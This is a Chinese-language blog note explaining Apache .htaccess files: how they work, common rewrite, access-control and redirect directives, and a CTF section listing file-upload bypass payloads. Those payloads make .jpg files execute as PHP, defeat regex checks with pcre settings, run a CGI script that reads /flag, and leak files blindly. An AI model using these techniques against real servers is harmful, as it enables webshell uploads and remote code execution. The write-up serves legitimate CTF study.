htaccess-文件总结

一、什么是 .htaccess 文件？

全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法，在一个特定的文档目录中放置一个包含一个或多个指令的文件， 以作用于此目录及其所有子目录，概述来说，htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。

二、工作机制

Apache在所有上级的目录中查找.htaccess文件，以使所有有效的指令都起作用。所以，如果请求/www/htdocs/example中的页面，Apache必须查找以下文件： /.htaccess

/www/.htaccess

/www/htdocs/.htaccess

/www/htdocs/example/.htaccess

总共要访问4个额外的文件，即使这些文件都不存在。

三、用途

通过htaccess文件，可以帮我们实现：网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档、防盗链等功能。

四、优缺点

• 优点：利用当前目录的.htaccess文件可以允许管理员灵活的随时按需改变目录访问策略。
• 缺点：Apache必须在所有上级的目录中查找.htaccess文件，对每一个请求都需要读取一次.htaccess文件,降低服务器性能，其次是安全。这样会允许用户自己修改服务器的配置，这可能会导致某些意想不到的修改。

五、基本语法

这里整理了一下 .htaccess中经常出现的指令即字符含义

①常用指令

②RewriteCond语法中字符含义

③RewriteRule语法中部分字符含义

一般使用方法为 RewriteRule + 规则 + [字符]

④常用的服务器和执行环境信息

更多值可以参考PHP手册的 PHP Manual›预定义变量›服务器和执行环境信息 即$_SERVER 部分

六、.htaccess 常见用法

①实现网站的重定向

RewriteEngine On  #重写引擎开启
RewriteBase /   #设置重写基准目录为网站根目录 默认为http://www.xxx.com/这种形式
RewriteCond %{REQUEST_FILENAME} !-f #被请求的资源地址不是文件
RewriteCond %{REQUEST_FILENAME} !-d #被请求的资源地址不是目录
RewriteRule .  /index.php [L]  #满足上述两个条件，就将满足的请求跳转到index.php  ,[L] 为last最后一条
#-f -d含义参考表二

②文件防盗链

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$ # 判断HTTP_REFERER不空
RewriteCond %{HTTP_REFERER} !^http://(www\.)?yourdomain.com/.*$ [NC] # 判断来源是否来自自己的域
RewriteRule \.(gif|jpg|png)$ http://****//error.png [R,L]
# 如果上面两个条件，将满足链接尾部为gif、jpg、png的定向到 http://****//error.png ，此处的R为redirect 意义为强制重定向 [NC]为忽略大小写

③限定IP地址访问

order allow,deny
deny from 33.33.33.33 # 禁止指定IP 访问
deny from 12.12.12. # 禁止12.12.12.0/24 的地址访问
allow from all # 除禁止部分都可访问，不加都不能访问

④文件保护

<Files 文件名>
order allow,deny
deny from all
</Files>

⑤其他用法

ErrorDocument 404 /templates/404.html #将错误页面定向到404.html

AddType application/x-httpd-php .test #将后缀为test的文件当做php脚本运行

DirectoryIndex test.php # 设置首页为test.php

Options All -Indexes  # 禁止目录浏览
Options All +Indexes  # 开放目录浏览

https://htaccess.iapolo.com/ 在线生成各种功能的htaccess文件

七、.htaccess 在CTF中的作用

最开始接触.htaccess文件就是在CTF中接触到的，而后用到的次数也逐渐增多。

最常用的就是文件上传.htaccess，绕过后缀限制（在.htaccess有执行权限时）

1、.htaccess文件内容为

 AddType application/x-httpd-php .jpg
 
 AddHandler php5-script .jpg
 

然后再上传后缀为jpg的一句话即可。

或者可以使用如下，将php转化成文本

<FilesMatch "\.ph.*$">
  SetHandler text/plain
</FilesMatch>

或者上传如下 然后访问server-status?refresh=5 来查看系统服务信息

SetHandler server-status

1. 如果检测后缀的正则表达式，且php同上为非nts，则可以上传.htaccess，内容如下

   php_value pcre.backtrack_limit 0
   php_value pcre.jit 0
   

   演示代码

   <?php
   $filename = "1.php";
   if (preg_match("/\.php/",$filename)) {
    echo "true";
   }else{
    echo "false";
   }
   ?>
   

   在不存在.htaccess时运行

存在时，且内容与上相符时

pcre.backtrack_limit 与 pcre.jit的解释在PHP手册的PHP Manual›php.ini 配置›php.ini 配置选项列表 目的是让正则的回溯设置为0，从而让匹配失效

也就是说第一步先上传.htaccess，然后再上传php文件。

3.apache加载了cgi_module 还可使用如下

Options +ExecCGI
AddHandler cgi-script .xx

1.xx

#! /bin/bash

echo Content-type: text/html

echo ""

cat /flag

4.绕过

# 0x00 可以当注释 \ +换行 绕过关键字 htaccess 大小写不敏感

如下可绕过 exif_imagetype 检测

#define xlogo_width 1337
#define xlogo_height 1337

5、 可以使用如下语句

php_value auto_prepend_file  ".htaccess"
# <?php phpinfo(); ?>

6、其他奇怪操作

开启php 解析 (2021-5-11补充)

<FilesMatch "xxx">
SetHandler application/x-httpd-php
php_flag engine on
</FilesMatch>

盲注猜文件

<If "file('/flag')=~ /flag{a/">
ErrorDocument 404 "wupco"
</If>

本地测试发现，会爆500错误 phpstudy_pro中php版本 测试无一成功，用phpstudy2018版本中，仅非nts版本测试成功，       

成功结果如下

也就是说利用php_value时，存在失败的可能，原因通过日志来看

Invalid command 'php_value', perhaps misspelled or defined by a module not included in the server configuration

nts含义就不在这里说了。可能是PHP处理程序不同的原因，原因可以参考一下 https://forums.cpanel.net/threads/invalid-command-php_value-perhaps-mis-spelled-or-defined-by-a-module-not-included.184931/ PHP处理程序

.更多用法可以参考php手册的php.ini 配置选项列表

在这里说一下 这里的可修改范围 PHP_INI_USER 1 配置选项可在用户的 PHP 脚本或 Windows 注册表中设置 PHP_INI_PERDIR 2 配置选项可在 php.ini, .htaccess 或 httpd.conf 中设置 PHP_INI_SYSTEM 4 配置选项可在 php.ini or httpd.conf 中设置 PHP_INI_ALL 7 配置选项可在各处设置

一般寻找可利用点就从 PHP_INI_ALL、PHP_INI_PERDIR中查找

八、参考资料

.htaccess 文件使用手册

.htaccess详解及.htaccess参数说明

最完的htaccess文件用法收集整理

.htaccess rewrite 规则详细说明

.htaccess文件说明大全

Apache中.htaccess文件功能

htaccess百度百科

php.ini配置选项可修改范围

• Previous
  JavaScript-原型链污染
• Next
  PHP-反序列化